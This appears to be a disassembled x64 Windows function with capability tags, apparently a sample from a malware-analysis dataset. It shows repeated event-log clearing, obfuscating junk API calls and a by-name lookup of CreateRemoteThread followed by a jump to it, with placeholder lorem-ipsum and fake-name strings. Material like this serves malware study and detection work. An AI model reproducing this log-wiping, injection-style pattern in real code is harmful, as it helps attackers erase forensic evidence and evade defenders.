Function at 0x6bad1808
Capabilities:
Access the windows event log
Clear windows event logs
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x108]
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x7c], eax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x80], rax
mov rax, qword [0x6bb85d20]
mov qword [rsp + 0x60], r8
cmp dword [rax], 0x3985
mov qword [rsp + 0x68], r9
jne 0x6bad1f98
mov rax, qword [0x6bb858c0]
mov rsi, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.Unde_ratione_eaque_fuga_vitae_officiis_quo
xor ecx, ecx
mov dword [rax], 0x607fb1c9
call rsi
mov rbp, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.ShanyAbernathy
call rbp
mov r10, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x88], r10
call r10
mov rax, qword [0x6bb85320]
mov dword [rax], 0xec52c6fd
mov rax, qword [0x6bb85400]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85660]
mov r13, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor ecx, ecx
lea r8, str.DamonLynchIII
mov dword [rdx], eax
xor edx, edx
call r13
mov rbx, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call rbx
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rdi
mov r15, qword [0x6bb85e50]
xor edx, edx
xor ecx, ecx
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [r15], 0x4a6df76b
mov qword [rsp + 0x38], rax
call rax
xor edx, edx
xor ecx, ecx
lea r8, str.DonBernierDDS
call r13
mov rax, qword [sym.imp.KERNEL32.dll_ReadConsoleW]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Molestiae_qui_voluptatem_vel_cumque_laudantium
call r12
mov rax, qword [0x6bb85380]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85e60]
mov dword [rdx], eax
mov rax, qword [0x6bb85450]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85d70]
mov dword [rdx], eax
mov rax, qword [0x6bb85890]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85e80]
xor r9d, r9d
xor r8d, r8d
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x40]
xor ecx, ecx
mov qword [rsp + 0x20], 0
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov ecx, 0x526991d3
call fcn.6bad7ff0
mov rdx, qword [0x6bb85610]
mov r14, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.MsMarjolaineKingDVM
mov dword [rdx], eax
mov rax, qword [0x6bb85570]
mov rdx, qword [0x6bb85e40]
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.Et_quis_fuga_molestiae
call r14
mov ecx, 0x648631f0
call fcn.6bad7ff0
mov rdx, qword [0x6bb85720]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.Nemo_quos_aperiam_eligendi_nisi_voluptas
call rsi
mov rax, qword [0x6bb85780]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85ba0]
lea rcx, str.Est_itaque_quo_doloremque_perspiciatis_harum
mov dword [rdx], eax
call rbp
mov rax, qword [0x6bb85ca0]
lea rcx, str.Enim_ex_sed_voluptatem_iusto_aspernatur_dolores_animi_impedit_numquam_est
mov dword [rax], 0x670c6b8a
mov rax, qword [0x6bb85fc0]
mov dword [rax], 0xb50b0555
call rbp
mov rax, qword [0x6bb85e40]
mov ecx, 0xee891e85
mov dword [rax], 0xd60208f6
mov rax, qword [0x6bb855d0]
mov dword [rax], 0x9c527c76
call fcn.6bad7ff0
mov rdx, qword [0x6bb85810]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
xor ecx, ecx
mov dword [r15], 0x791f7f63
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
call rbx
mov rax, qword [0x6bb85ce0]
xor edx, edx
xor ecx, ecx
mov r10, qword [rsp + 0x88]
mov dword [rax], 0xca710481
call r10
mov rax, qword [0x6bb85a80]
mov r15, qword [0x6bb85ac0]
mov edx, dword [rax]
mov rax, qword [0x6bb853d0]
mov dword [r15], 0xeb013b03
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x38]
xor ecx, ecx
call rax
mov rax, qword [0x6bb85580]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x10a71393
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x6bb857f0]
mov rdx, qword [0x6bb85570]
lea rcx, str.DelilahTurcotte
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.Cupiditate_quia_qui_non_fuga_iure_aut_beatae_voluptas
call r14
xor edx, edx
lea r8, str.MrsBrianneMarksMD
xor ecx, ecx
call r13
xor ecx, ecx
call rdi
mov edx, dword [r15]
mov rax, qword [0x6bb85b20]
xor ecx, ecx
lea r8, str.Ullam_explicabo_quis_dolore_neque_laborum_tempora_omnis
mov dword [rax], edx
xor edx, edx
call r13
mov ecx, 0x69bef7ba
call fcn.6bad7ff0
mov rdx, qword [0x6bb85a60]
mov r11, qword [0x6bb85c70]
xor ecx, ecx
mov r15, qword [0x6bb85600]
mov dword [rdx], eax
mov rax, qword [0x6bb85c90]
mov edx, dword [r11]
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [0x6bb85fb0]
mov dword [rax], edx
call rbx
mov ecx, 0x160534ad
call fcn.6bad7ff0
mov rdx, qword [0x6bb85b80]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov ecx, 0xbe121c9d
call fcn.6bad7ff0
mov rdx, qword [0x6bb85770]
lea r8, str.HettieGaylordIII
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
lea rdx, str.NickolasFriesen
xor ecx, ecx
call rsi
xor ecx, ecx
call rdi
xor ecx, ecx
call rdi
lea rcx, str.JalonZulauf
call r12
mov rax, qword [0x6bb85d40]
mov dword [rax], 0xbb79832a
mov rax, qword [0x6bb85f20]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov ecx, 0x870618c0
mov dword [r15], eax
call fcn.6bad7ff0
mov rdx, qword [0x6bb853c0]
lea rcx, str.Nihil_sed_beatae_veritatis_veritatis_et_excepturi
mov dword [rdx], eax
call rbp
lea rcx, str.MissElenoraHerzog
call rbp
mov rax, qword [0x6bb85e60]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rcx, qword [0x6bb85580]
mov dword [rcx], eax
mov ecx, 0x23a138f5
call fcn.6bad7ff0
mov rdx, qword [0x6bb85b70]
xor ecx, ecx
mov dword [rdx], eax
call rdi
lea rdx, str.DawsonKassulkeJr
xor ecx, ecx
call rsi
lea rcx, str.Quam_omnis_architecto_est_molestias_occaecati_amet_cum
call r12
xor ecx, ecx
call rbx
xor ecx, ecx
call rbx
mov rax, qword [0x6bb85b00]
mov ecx, 0x80d41280
mov dword [rax], 0x8b16ef97
call fcn.6bad7ff0
mov rdx, qword [0x6bb854d0]
mov dword [rdx], eax
mov rax, qword [0x6bb855b0]
mov edx, dword [rax]
mov rax, qword [0x6bb85b40]
mov dword [rax], edx
mov rax, qword [0x6bb85ba0]
mov dword [rax], 0xd0fcd2fa
mov rax, qword [str.:y_2]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85b60]
lea rcx, str.EulaZieme
mov dword [rdx], eax
lea rdx, str.AlannaDibbert
call r14
mov r9, qword [0x6bb85bb0]
mov r15, qword [0x6bb85fa0]
lea rcx, str.Aut_doloremque_qui_voluptatibus_dolor_totam_molestias_magnam
mov rax, qword [0x6bb86050]
mov edx, dword [r9]
mov dword [r15], 0xd7d10ba1
mov dword [rax], edx
call r12
mov rax, qword [0x6bb85e40]
mov r11, qword [0x6bb85c70]
mov ecx, dword [rax]
mov dword [r11], 0xc90a2c03
call fcn.6bad7ff0
mov rdx, qword [0x6bb85d60]
lea rcx, str.RogersBradtke
mov dword [rdx], eax
mov rax, qword [0x6bb85eb0]
mov edx, dword [rax]
mov rax, qword [0x6bb85640]
mov dword [rax], edx
call r12
lea r8, str.KasandraAbernathy
xor edx, edx
xor ecx, ecx
call r13
mov r10, qword [rsp + 0x88]
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x6bb85e70]
lea rdx, str.JulianSatterfieldDDS
lea rcx, str.Eaque_possimus_quo_placeat_dolores_nihil_cum_laudantium_placeat_assumenda
mov dword [rax], 0x86c1585a
call r14
lea rcx, str.JosiahBlock
call rbp
lea rcx, str.FlavioDickens
call r12
mov rax, qword [0x6bb85860]
mov r9, qword [0x6bb85bb0]
mov ecx, dword [rax]
mov dword [r9], 0x6eee035c
call fcn.6bad7ff0
mov rcx, qword [0x6bb85ca0]
mov r12, qword [0x6bb85e30]
mov dword [rcx], eax
mov rax, qword [0x6bb85440]
mov ecx, 0x36326462
mov edx, dword [rax]
mov rax, qword [0x6bb856a0]
mov dword [rax], edx
mov eax, dword [r15]
mov dword [r12], eax
call fcn.6bad7ff0
mov rdx, qword [0x6bb85ae0]
lea rcx, str.Necessitatibus_inventore_modi_praesentium_porro
mov dword [rdx], eax
mov rax, qword [0x6bb85810]
lea rdx, str.AylaLehnerPhD
mov dword [rax], 0x9d6d2216
call r14
mov ecx, 0xe2b3044d
call fcn.6bad7ff0
mov rdx, qword [0x6bb85e40]
lea rcx, str.Neque_asperiores_vel_illo_quas_harum_perspiciatis_unde_nobis_reprehenderit_voluptas
mov dword [rdx], eax
call rbp
mov rbp, qword [0x6bb854a0]
mov rax, qword [0x6bb85fd0]
xor ecx, ecx
mov edx, dword [rbp]
mov dword [rax], edx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x6bb85c90]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb85f80]
mov dword [rax], edx
lea rdx, str.Aut_est_iusto_aut_iure
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x6bb85dc0]
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [rsp + 0x38]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x6bb85970]
mov ecx, dword [rbp]
mov dword [rax], 0x4f2e6136
mov rax, qword [0x6bb85a80]
mov edx, dword [rax]
mov rax, qword [0x6bb854b0]
mov dword [rax], edx
call fcn.6bad7ff0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x6bb85840]
mov dword [rdx], eax
mov rax, qword [0x6bb85d30]
xor edx, edx
mov eax, dword [rax]
mov dword [r12], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], 0
call rax
lea rdx, str.Vero_ipsa_provident_temporibus_in_ex_ea
xor ecx, ecx
call rsi
mov rax, qword [0x6bb85dd0]
mov rcx, qword [0x6bb85b60]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x6bb85aa0]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85570]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x6bb853b0]
mov dword [rax], 0x5ed147b9
mov rax, qword [0x6bb856f0]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rbx, qword [0x6bb85400]
xor ecx, ecx
mov dword [rbx], eax
call rdi
lea rdx, str.LaishaFarrellDDS
xor ecx, ecx
call rsi
lea rdx, str.CreateRemoteThread
lea rcx, str.kernel32.dll
call fcn.6bad0c06
mov edi, dword [rsp + 0x7c]
mov r9, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x80]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x108], edi
mov qword [rsp + 0x110], rsi
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x100], rsi
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax